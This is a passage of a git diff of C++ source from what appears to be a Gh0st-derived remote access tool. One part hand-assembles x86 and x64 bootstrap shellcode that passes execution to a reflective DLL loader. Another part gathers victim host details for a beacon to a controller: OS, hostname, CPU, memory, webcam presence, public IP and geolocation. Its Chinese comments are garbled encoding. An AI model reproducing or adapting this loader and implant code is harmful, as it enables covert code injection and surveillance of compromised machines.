MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction)); - i += sizeof(userFunction); + // mov edx, + bootstrap[i++] = 0xba; + MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction)); + i += sizeof(userFunction); - // Setup the location of our user data - // add r8, + - bootstrap[i++] = 0x49; - bootstrap[i++] = 0x81; - bootstrap[i++] = 0xc0; - userDataLocation = dllOffset + length; - MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation)); - i += sizeof(userDataLocation); + // Setup the location of our user data + // add r8, + + bootstrap[i++] = 0x49; + bootstrap[i++] = 0x81; + bootstrap[i++] = 0xc0; + userDataLocation = dllOffset + length; + MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation)); + i += sizeof(userDataLocation); - // mov r9d, - bootstrap[i++] = 0x41; - bootstrap[i++] = 0xb9; - MoveMemory(bootstrap + i, &userLength, sizeof(userLength)); - i += sizeof(userLength); + // mov r9d, + bootstrap[i++] = 0x41; + bootstrap[i++] = 0xb9; + MoveMemory(bootstrap + i, &userLength, sizeof(userLength)); + i += sizeof(userLength); - // push rsi - save original value - bootstrap[i++] = 0x56; + // push rsi - save original value + bootstrap[i++] = 0x56; - // mov rsi, rsp - store our current stack pointer for later - bootstrap[i++] = 0x48; - bootstrap[i++] = 0x89; - bootstrap[i++] = 0xe6; + // mov rsi, rsp - store our current stack pointer for later + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xe6; - // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes - bootstrap[i++] = 0x48; - bootstrap[i++] = 0x83; - bootstrap[i++] = 0xe4; - bootstrap[i++] = 0xf0; + // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x83; + bootstrap[i++] = 0xe4; + bootstrap[i++] = 0xf0; - // sub rsp, 0x30 - Create some breathing room on the stack - bootstrap[i++] = 0x48; - bootstrap[i++] = 0x83; - bootstrap[i++] = 0xec; - bootstrap[i++] = 6 * 8; // 32 bytes for shadow space + 16 bytes for last args + // sub rsp, 0x30 - Create some breathing room on the stack + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x83; + bootstrap[i++] = 0xec; + bootstrap[i++] = 6 * 8; // 32 bytes for shadow space + 16 bytes for last args - // mov qword ptr [rsp + 0x20], rcx (shellcode base) - Push in arg 5 - bootstrap[i++] = 0x48; - bootstrap[i++] = 0x89; - bootstrap[i++] = 0x4C; - bootstrap[i++] = 0x24; - bootstrap[i++] = 4 * 8; + // mov qword ptr [rsp + 0x20], rcx (shellcode base) - Push in arg 5 + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x89; + bootstrap[i++] = 0x4C; + bootstrap[i++] = 0x24; + bootstrap[i++] = 4 * 8; - // add rcx, - bootstrap[i++] = 0x48; - bootstrap[i++] = 0x81; - bootstrap[i++] = 0xc1; - MoveMemory(bootstrap + i, &dllOffset, sizeof(dllOffset)); - i += sizeof(dllOffset); + // add rcx, + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x81; + bootstrap[i++] = 0xc1; + MoveMemory(bootstrap + i, &dllOffset, sizeof(dllOffset)); + i += sizeof(dllOffset); - // mov dword ptr [rsp + 0x28], - Push arg 6 just above shadow space - bootstrap[i++] = 0xC7; - bootstrap[i++] = 0x44; - bootstrap[i++] = 0x24; - bootstrap[i++] = 5 * 8; - MoveMemory(bootstrap + i, &flags, sizeof(flags)); - i += sizeof(flags); + // mov dword ptr [rsp + 0x28], - Push arg 6 just above shadow space + bootstrap[i++] = 0xC7; + bootstrap[i++] = 0x44; + bootstrap[i++] = 0x24; + bootstrap[i++] = 5 * 8; + MoveMemory(bootstrap + i, &flags, sizeof(flags)); + i += sizeof(flags); - // call - Transfer execution to the RDI - bootstrap[i++] = 0xe8; - bootstrap[i++] = sizeof(bootstrap) - i - 4; // Skip over the remainder of instructions - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; - - // mov rsp, rsi - Reset our original stack pointer - bootstrap[i++] = 0x48; - bootstrap[i++] = 0x89; - bootstrap[i++] = 0xf4; - - // pop rsi - Put things back where we left them - bootstrap[i++] = 0x5e; + // call - Transfer execution to the RDI + bootstrap[i++] = 0xe8; + bootstrap[i++] = sizeof(bootstrap) - i - 4; // Skip over the remainder of instructions + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; - // ret - return to caller - bootstrap[i++] = 0xc3; + // mov rsp, rsi - Reset our original stack pointer + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xf4; - // Ends up looking like this in memory: - // Bootstrap shellcode - // RDI shellcode - // DLL bytes - // User data - outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap); - outBytes = (LPSTR)malloc(outLength); - MoveMemory(outBytes, bootstrap, sizeof(bootstrap)); - MoveMemory(outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength); - MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length); - MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength); - } - else { // 32 bit - rdiShellcode = rdiShellcode32; - rdiShellcodeLength = rdiShellcode32Length; + // pop rsi - Put things back where we left them + bootstrap[i++] = 0x5e; - if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0; + // ret - return to caller + bootstrap[i++] = 0xc3; - BYTE bootstrap[50] = { 0 }; - DWORD i = 0; + // Ends up looking like this in memory: + // Bootstrap shellcode + // RDI shellcode + // DLL bytes + // User data + outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap); + outBytes = (LPSTR)malloc(outLength); + MoveMemory(outBytes, bootstrap, sizeof(bootstrap)); + MoveMemory(outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength); + MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length); + MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength); + } else { // 32 bit + rdiShellcode = rdiShellcode32; + rdiShellcodeLength = rdiShellcode32Length; - // call next instruction (Pushes next instruction address to stack) - bootstrap[i++] = 0xe8; - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; + if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0; - // Set the offset to our DLL from pop result - dllOffset = sizeof(bootstrap) - i + rdiShellcodeLength; + BYTE bootstrap[50] = { 0 }; + DWORD i = 0; - // pop eax - Capture our current location in memory - bootstrap[i++] = 0x58; + // call next instruction (Pushes next instruction address to stack) + bootstrap[i++] = 0xe8; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; - // push ebp - bootstrap[i++] = 0x55; + // Set the offset to our DLL from pop result + dllOffset = sizeof(bootstrap) - i + rdiShellcodeLength; - // move ebp, esp - bootstrap[i++] = 0x89; - bootstrap[i++] = 0xe5; + // pop eax - Capture our current location in memory + bootstrap[i++] = 0x58; - // mov edx, eax - copy our location in memory to ebx before we start modifying eax - bootstrap[i++] = 0x89; - bootstrap[i++] = 0xc2; + // push ebp + bootstrap[i++] = 0x55; - // add edx, + - bootstrap[i++] = 0x81; - bootstrap[i++] = 0xc2; - userDataLocation = dllOffset + length; - MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation)); - i += sizeof(userDataLocation); + // move ebp, esp + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xe5; - // push - bootstrap[i++] = 0x68; - MoveMemory(bootstrap + i, &flags, sizeof(flags)); - i += sizeof(flags); + // mov edx, eax - copy our location in memory to ebx before we start modifying eax + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xc2; - // push eax + // add edx, + + bootstrap[i++] = 0x81; + bootstrap[i++] = 0xc2; + userDataLocation = dllOffset + length; + MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation)); + i += sizeof(userDataLocation); + + // push + bootstrap[i++] = 0x68; + MoveMemory(bootstrap + i, &flags, sizeof(flags)); + i += sizeof(flags); + + // push eax bootstrap[i++] = 0x50; - // push - bootstrap[i++] = 0x68; - MoveMemory(bootstrap + i, &userLength, sizeof(userLength)); - i += sizeof(userLength); + // push + bootstrap[i++] = 0x68; + MoveMemory(bootstrap + i, &userLength, sizeof(userLength)); + i += sizeof(userLength); - // push edx - bootstrap[i++] = 0x52; + // push edx + bootstrap[i++] = 0x52; - // push - bootstrap[i++] = 0x68; - MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction)); - i += sizeof(userFunction); + // push + bootstrap[i++] = 0x68; + MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction)); + i += sizeof(userFunction); - // add eax, + // add eax, bootstrap[i++] = 0x05; MoveMemory(bootstrap + i, &dllOffset, sizeof(dllOffset)); i += sizeof(dllOffset); - // push eax - bootstrap[i++] = 0x50; + // push eax + bootstrap[i++] = 0x50; - // call - Transfer execution to the RDI - bootstrap[i++] = 0xe8; - bootstrap[i++] = sizeof(bootstrap) - i - 4; // Skip the remainder of instructions - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; + // call - Transfer execution to the RDI + bootstrap[i++] = 0xe8; + bootstrap[i++] = sizeof(bootstrap) - i - 4; // Skip the remainder of instructions + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; - // add esp, 0x14 - clean up stack from args (cdecl) - bootstrap[i++] = 0x83; - bootstrap[i++] = 0xc4; - bootstrap[i++] = 0x14; + // add esp, 0x14 - clean up stack from args (cdecl) + bootstrap[i++] = 0x83; + bootstrap[i++] = 0xc4; + bootstrap[i++] = 0x14; - // leave - bootstrap[i++] = 0xc9; + // leave + bootstrap[i++] = 0xc9; - // ret - return to caller - bootstrap[i++] = 0xc3; + // ret - return to caller + bootstrap[i++] = 0xc3; - // Ends up looking like this in memory: - // Bootstrap shellcode - // RDI shellcode - // DLL bytes - // User data - outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap); - outBytes = (LPSTR)malloc(outLength); - MoveMemory(outBytes, bootstrap, sizeof(bootstrap)); - MoveMemory(outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength); - MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length); - MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength); - } + // Ends up looking like this in memory: + // Bootstrap shellcode + // RDI shellcode + // DLL bytes + // User data + outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap); + outBytes = (LPSTR)malloc(outLength); + MoveMemory(outBytes, bootstrap, sizeof(bootstrap)); + MoveMemory(outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength); + MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length); + MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength); + } - return true; + return true; } typedef UINT_PTR(WINAPI * RDI)(); diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index f425577..58697a8 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -11,361 +11,360 @@ #include // by ChatGPT -bool IsWindows11() { - typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); - RTL_OSVERSIONINFOW rovi = { 0 }; - rovi.dwOSVersionInfoSize = sizeof(rovi); +bool IsWindows11() +{ + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RTL_OSVERSIONINFOW rovi = { 0 }; + rovi.dwOSVersionInfoSize = sizeof(rovi); - HMODULE hMod = GetModuleHandleW(L"ntdll.dll"); - if (hMod) { - RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion"); - if (rtlGetVersion) { - rtlGetVersion(&rovi); - return (rovi.dwMajorVersion == 10 && rovi.dwMinorVersion == 0 && rovi.dwBuildNumber >= 22000); - } - } - return false; + HMODULE hMod = GetModuleHandleW(L"ntdll.dll"); + if (hMod) { + RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion"); + if (rtlGetVersion) { + rtlGetVersion(&rovi); + return (rovi.dwMajorVersion == 10 && rovi.dwMinorVersion == 0 && rovi.dwBuildNumber >= 22000); + } + } + return false; } /************************************************************************ ---------------------- -ߣIT1995 -ԴCSDN -ԭģhttps://blog.csdn.net/qq78442761/article/details/64440535 +--------------------- +ߣIT1995 +ԴCSDN +ԭģhttps://blog.csdn.net/qq78442761/article/details/64440535 ȨΪԭ£ת븽ϲӣ ޸˵2019.3.29Ԭ޸ ************************************************************************/ std::string getSystemName() { - std::string vname("δ֪ϵͳ"); - //жǷΪwin8.1win10 - typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*); - HINSTANCE hinst = LoadLibrary("ntdll.dll"); - if (hinst == NULL) - { - return vname; - } - if (IsWindows11()) { - vname = "Windows 11"; - Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); - return vname; - } - DWORD dwMajor, dwMinor, dwBuildNumber; - NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers"); - if (proc==NULL) - { - return vname; - } - proc(&dwMajor, &dwMinor, &dwBuildNumber); - if (dwMajor == 6 && dwMinor == 3) //win 8.1 - { - vname = "Windows 8.1"; - Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); - return vname; - } - if (dwMajor == 10 && dwMinor == 0) //win 10 - { - vname = "Windows 10"; - Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); - return vname; - } - //治жWin ServerΪ˻δϵͳĻӣʱ + std::string vname("δ֪ϵͳ"); + //жǷΪwin8.1win10 + typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*); + HINSTANCE hinst = LoadLibrary("ntdll.dll"); + if (hinst == NULL) { + return vname; + } + if (IsWindows11()) { + vname = "Windows 11"; + Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); + return vname; + } + DWORD dwMajor, dwMinor, dwBuildNumber; + NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers"); + if (proc==NULL) { + return vname; + } + proc(&dwMajor, &dwMinor, &dwBuildNumber); + if (dwMajor == 6 && dwMinor == 3) { //win 8.1 + vname = "Windows 8.1"; + Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); + return vname; + } + if (dwMajor == 10 && dwMinor == 0) { //win 10 + vname = "Windows 10"; + Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); + return vname; + } + //治жWin ServerΪ˻δϵͳĻӣʱ - //жwin8.1µİ汾 - SYSTEM_INFO info; //SYSTEM_INFOṹж64λAMD - GetSystemInfo(&info); //GetSystemInfoṹ - OSVERSIONINFOEX os; - os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); - if (GetVersionEx((OSVERSIONINFO *)&os)) - { - //ݰ汾Ϣжϲϵͳ - switch (os.dwMajorVersion) - { //ж汾 - case 4: - switch (os.dwMinorVersion) - { //жϴΰ汾 - case 0: - if (os.dwPlatformId == VER_PLATFORM_WIN32_NT) - vname ="Windows NT 4.0"; //19967· - else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) - vname = "Windows 95"; - break; - case 10: - vname ="Windows 98"; - break; - case 90: - vname = "Windows Me"; - break; - } - break; - case 5: - switch (os.dwMinorVersion) - { //ٱȽdwMinorVersionֵ - case 0: - vname = "Windows 2000"; //199912· - break; - case 1: - vname = "Windows XP"; //20018· - break; - case 2: - if (os.wProductType == VER_NT_WORKSTATION && - info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) - vname = "Windows XP Professional x64 Edition"; - else if (GetSystemMetrics(SM_SERVERR2) == 0) - vname = "Windows Server 2003"; //20033· - else if (GetSystemMetrics(SM_SERVERR2) != 0) - vname = "Windows Server 2003 R2"; - break; - } - break; - case 6: - switch (os.dwMinorVersion) - { - case 0: - if (os.wProductType == VER_NT_WORKSTATION) - vname = "Windows Vista"; - else - vname = "Windows Server 2008"; //汾 - break; - case 1: - if (os.wProductType == VER_NT_WORKSTATION) - vname = "Windows 7"; - else - vname = "Windows Server 2008 R2"; - break; - case 2: - if (os.wProductType == VER_NT_WORKSTATION) - vname = "Windows 8"; - else - vname = "Windows Server 2012"; - break; - } - break; - default: - vname = "δ֪ϵͳ"; - } - Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); - } - else - Mprintf("汾ȡʧ\n"); - return vname; + //жwin8.1µİ汾 + SYSTEM_INFO info; //SYSTEM_INFOṹж64λAMD + GetSystemInfo(&info); //GetSystemInfoṹ + OSVERSIONINFOEX os; + os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + if (GetVersionEx((OSVERSIONINFO *)&os)) { + //ݰ汾Ϣжϲϵͳ + switch (os.dwMajorVersion) { + //ж汾 + case 4: + switch (os.dwMinorVersion) { + //жϴΰ汾 + case 0: + if (os.dwPlatformId == VER_PLATFORM_WIN32_NT) + vname ="Windows NT 4.0"; //19967· + else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) + vname = "Windows 95"; + break; + case 10: + vname ="Windows 98"; + break; + case 90: + vname = "Windows Me"; + break; + } + break; + case 5: + switch (os.dwMinorVersion) { + //ٱȽdwMinorVersionֵ + case 0: + vname = "Windows 2000"; //199912· + break; + case 1: + vname = "Windows XP"; //20018· + break; + case 2: + if (os.wProductType == VER_NT_WORKSTATION && + info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) + vname = "Windows XP Professional x64 Edition"; + else if (GetSystemMetrics(SM_SERVERR2) == 0) + vname = "Windows Server 2003"; //20033· + else if (GetSystemMetrics(SM_SERVERR2) != 0) + vname = "Windows Server 2003 R2"; + break; + } + break; + case 6: + switch (os.dwMinorVersion) { + case 0: + if (os.wProductType == VER_NT_WORKSTATION) + vname = "Windows Vista"; + else + vname = "Windows Server 2008"; //汾 + break; + case 1: + if (os.wProductType == VER_NT_WORKSTATION) + vname = "Windows 7"; + else + vname = "Windows Server 2008 R2"; + break; + case 2: + if (os.wProductType == VER_NT_WORKSTATION) + vname = "Windows 8"; + else + vname = "Windows Server 2012"; + break; + } + break; + default: + vname = "δ֪ϵͳ"; + } + Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); + } else + Mprintf("汾ȡʧ\n"); + return vname; } -std::string formatTime(const FILETIME& fileTime) { - // תΪ 64 λʱ - ULARGE_INTEGER ull; - ull.LowPart = fileTime.dwLowDateTime; - ull.HighPart = fileTime.dwHighDateTime; +std::string formatTime(const FILETIME& fileTime) +{ + // תΪ 64 λʱ + ULARGE_INTEGER ull; + ull.LowPart = fileTime.dwLowDateTime; + ull.HighPart = fileTime.dwHighDateTime; - // תΪ뼶ʱ - std::time_t startTime = static_cast((ull.QuadPart / 10000000ULL) - 11644473600ULL); + // תΪ뼶ʱ + std::time_t startTime = static_cast((ull.QuadPart / 10000000ULL) - 11644473600ULL); - // ʽ - std::tm* localTime = std::localtime(&startTime); - char buffer[100]; - std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime); - return std::string(buffer); + // ʽ + std::tm* localTime = std::localtime(&startTime); + char buffer[100]; + std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime); + return std::string(buffer); } -std::string getProcessTime() { - FILETIME creationTime, exitTime, kernelTime, userTime; +std::string getProcessTime() +{ + FILETIME creationTime, exitTime, kernelTime, userTime; - // ȡǰ̵ʱϢ - if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) { - return formatTime(creationTime); - } - std::time_t now = std::time(nullptr); - std::tm* t = std::localtime(&now); - char buffer[100]; - std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t); - return buffer; + // ȡǰ̵ʱϢ + if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) { + return formatTime(creationTime); + } + std::time_t now = std::time(nullptr); + std::tm* t = std::localtime(&now); + char buffer[100]; + std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t); + return buffer; } -int getOSBits() { - SYSTEM_INFO si; - GetNativeSystemInfo(&si); +int getOSBits() +{ + SYSTEM_INFO si; + GetNativeSystemInfo(&si); - if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || - si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) { - return 64; - } - else { - return 32; - } + if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || + si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) { + return 64; + } else { + return 32; + } } // CPU // SYSTEM_INFO.dwNumberOfProcessors int GetCPUCores() { - INT i = 0; + INT i = 0; #ifdef _WIN64 - // x64 £Ҫʹ `NtQuerySystemInformation` - SYSTEM_INFO sysInfo; - GetSystemInfo(&sysInfo); - i = sysInfo.dwNumberOfProcessors; // ȡ CPU + // x64 £Ҫʹ `NtQuerySystemInformation` + SYSTEM_INFO sysInfo; + GetSystemInfo(&sysInfo); + i = sysInfo.dwNumberOfProcessors; // ȡ CPU #else - _asm { // x64ģʽ²֧__asmĻǶ - mov eax, dword ptr fs : [0x18] ; // TEB - mov eax, dword ptr ds : [eax + 0x30] ; // PEB - mov eax, dword ptr ds : [eax + 0x64] ; - mov i, eax; - } + _asm { // x64ģʽ²֧__asmĻǶ + mov eax, dword ptr fs : [0x18] ; // TEB + mov eax, dword ptr ds : [eax + 0x30] ; // PEB + mov eax, dword ptr ds : [eax + 0x64] ; + mov i, eax; + } #endif - Mprintf("˼CPU: %d\n", i); - return i; + Mprintf("˼CPU: %d\n", i); + return i; } -double GetMemorySizeGB() { - _MEMORYSTATUSEX mst; - mst.dwLength = sizeof(mst); - GlobalMemoryStatusEx(&mst); - double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024); - Mprintf("˼ڴ: %fGB\n", GB); - return GB; +double GetMemorySizeGB() +{ + _MEMORYSTATUSEX mst; + mst.dwLength = sizeof(mst); + GlobalMemoryStatusEx(&mst); + double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024); + Mprintf("˼ڴ: %fGB\n", GB); + return GB; } #pragma comment(lib, "Version.lib") -std::string GetCurrentExeVersion() { - TCHAR filePath[MAX_PATH]; - if (GetModuleFileName(NULL, filePath, MAX_PATH) == 0) { - return "Unknown"; - } +std::string GetCurrentExeVersion() +{ + TCHAR filePath[MAX_PATH]; + if (GetModuleFileName(NULL, filePath, MAX_PATH) == 0) { + return "Unknown"; + } - DWORD handle = 0; - DWORD verSize = GetFileVersionInfoSize(filePath, &handle); - if (verSize == 0) { - return "Unknown"; - } + DWORD handle = 0; + DWORD verSize = GetFileVersionInfoSize(filePath, &handle); + if (verSize == 0) { + return "Unknown"; + } - std::vector verData(verSize); - if (!GetFileVersionInfo(filePath, handle, verSize, verData.data())) { - return "Unknown"; - } + std::vector verData(verSize); + if (!GetFileVersionInfo(filePath, handle, verSize, verData.data())) { + return "Unknown"; + } - VS_FIXEDFILEINFO* pFileInfo = nullptr; - UINT len = 0; - if (!VerQueryValue(verData.data(), "\\", reinterpret_cast(&pFileInfo), &len)) { - return "Unknown"; - } + VS_FIXEDFILEINFO* pFileInfo = nullptr; + UINT len = 0; + if (!VerQueryValue(verData.data(), "\\", reinterpret_cast(&pFileInfo), &len)) { + return "Unknown"; + } - if (pFileInfo) { - DWORD major = HIWORD(pFileInfo->dwFileVersionMS); - DWORD minor = LOWORD(pFileInfo->dwFileVersionMS); - DWORD build = HIWORD(pFileInfo->dwFileVersionLS); - DWORD revision = LOWORD(pFileInfo->dwFileVersionLS); + if (pFileInfo) { + DWORD major = HIWORD(pFileInfo->dwFileVersionMS); + DWORD minor = LOWORD(pFileInfo->dwFileVersionMS); + DWORD build = HIWORD(pFileInfo->dwFileVersionLS); + DWORD revision = LOWORD(pFileInfo->dwFileVersionLS); - std::ostringstream oss; - oss << major << "." << minor << "." << build << "." << revision; - return "v" + oss.str(); - } + std::ostringstream oss; + oss << major << "." << minor << "." << build << "." << revision; + return "v" + oss.str(); + } - return "Unknown"; + return "Unknown"; } LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) { - LOGIN_INFOR LoginInfor; - LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ - //òϵͳϢ - strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str()); + LOGIN_INFOR LoginInfor; + LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ + //òϵͳϢ + strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str()); - //PCName - char szPCName[MAX_PATH] = {0}; - gethostname(szPCName, MAX_PATH); + //PCName + char szPCName[MAX_PATH] = {0}; + gethostname(szPCName, MAX_PATH); - DWORD dwCPUMHz; - dwCPUMHz = CPUClockMHz(); + DWORD dwCPUMHz; + dwCPUMHz = CPUClockMHz(); - BOOL bWebCamIsExist = WebCamIsExist(); - - memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName)); - LoginInfor.dwSpeed = dwSpeed; - LoginInfor.dwCPUMHz = dwCPUMHz; - LoginInfor.bWebCamIsExist = bWebCamIsExist; - strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); - LoginInfor.AddReserved(GetClientType(conn.ClientType())); // - LoginInfor.AddReserved(getOSBits()); // ϵͳλ - LoginInfor.AddReserved(GetCPUCores()); // CPU - LoginInfor.AddReserved(GetMemorySizeGB()); // ϵͳڴ - char buf[_MAX_PATH] = {}; - GetModuleFileNameA(NULL, buf, sizeof(buf)); - LoginInfor.AddReserved(buf); // ļ· - LoginInfor.AddReserved("?"); // test - iniFile cfg(CLIENT_PATH); - std::string installTime = cfg.GetStr("settings", "install_time"); - if (installTime.empty()) { - installTime = ToPekingTimeAsString(nullptr); - cfg.SetStr("settings", "install_time", installTime); - } - LoginInfor.AddReserved(installTime.c_str()); // װʱ - LoginInfor.AddReserved("?"); // װϢ - LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // λ - std::string str; - std::string masterHash(skCrypt(MASTER_HASH)); - HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); - hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); + BOOL bWebCamIsExist = WebCamIsExist(); + if (conn.szGroupName[0] == 0) + memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName)); + else + sprintf(LoginInfor.szPCName, "%s/%s", szPCName, conn.szGroupName); + LoginInfor.dwSpeed = dwSpeed; + LoginInfor.dwCPUMHz = dwCPUMHz; + LoginInfor.bWebCamIsExist = bWebCamIsExist; + strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); + LoginInfor.AddReserved(GetClientType(conn.ClientType())); // + LoginInfor.AddReserved(getOSBits()); // ϵͳλ + LoginInfor.AddReserved(GetCPUCores()); // CPU + LoginInfor.AddReserved(GetMemorySizeGB()); // ϵͳڴ + char buf[_MAX_PATH] = {}; + GetModuleFileNameA(NULL, buf, sizeof(buf)); + LoginInfor.AddReserved(buf); // ļ· + LoginInfor.AddReserved("?"); // test + iniFile cfg(CLIENT_PATH); + std::string installTime = cfg.GetStr("settings", "install_time"); + if (installTime.empty()) { + installTime = ToPekingTimeAsString(nullptr); + cfg.SetStr("settings", "install_time", installTime); + } + LoginInfor.AddReserved(installTime.c_str()); // װʱ + LoginInfor.AddReserved("?"); // װϢ + LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // λ + std::string str; + std::string masterHash(skCrypt(MASTER_HASH)); + HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); + hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); #ifndef _DEBUG - if (hMutex != NULL) { + if (hMutex != NULL) { #else - { + { #endif - CloseHandle(hMutex); - config*cfg = conn.pwdHash == masterHash ? new config : new iniFile; - str = cfg->GetStr("settings", "Password", ""); - delete cfg; - str.erase(std::remove(str.begin(), str.end(), ' '), str.end()); - auto list = StringToVector(str, '-', 3); - str = list[1].empty() ? "Unknown" : list[1]; - } - LoginInfor.AddReserved(str.c_str()); // ȨϢ - bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || - strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; - const char* id = isDefault ? masterHash.c_str() : conn.szFlag; - memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); - std::string loc = cfg.GetStr("settings", "location", ""); - std::string pubIP = cfg.GetStr("settings", "public_ip", ""); - auto ip_time = cfg.GetInt("settings", "ip_time"); - bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400); - IPConverter cvt; - if (loc.empty() || pubIP.empty() || timeout) { - pubIP = cvt.getPublicIP(); - loc = cvt.GetGeoLocation(pubIP); - cfg.SetStr("settings", "location", loc); - cfg.SetStr("settings", "public_ip", pubIP); - cfg.SetInt("settings", "ip_time", time(0)); - } - LoginInfor.AddReserved(loc.c_str()); - LoginInfor.AddReserved(pubIP.c_str()); - LoginInfor.AddReserved(GetCurrentExeVersion().c_str()); + CloseHandle(hMutex); + config*cfg = conn.pwdHash == masterHash ? new config : new iniFile; + str = cfg->GetStr("settings", "Password", ""); + delete cfg; + str.erase(std::remove(str.begin(), str.end(), ' '), str.end()); + auto list = 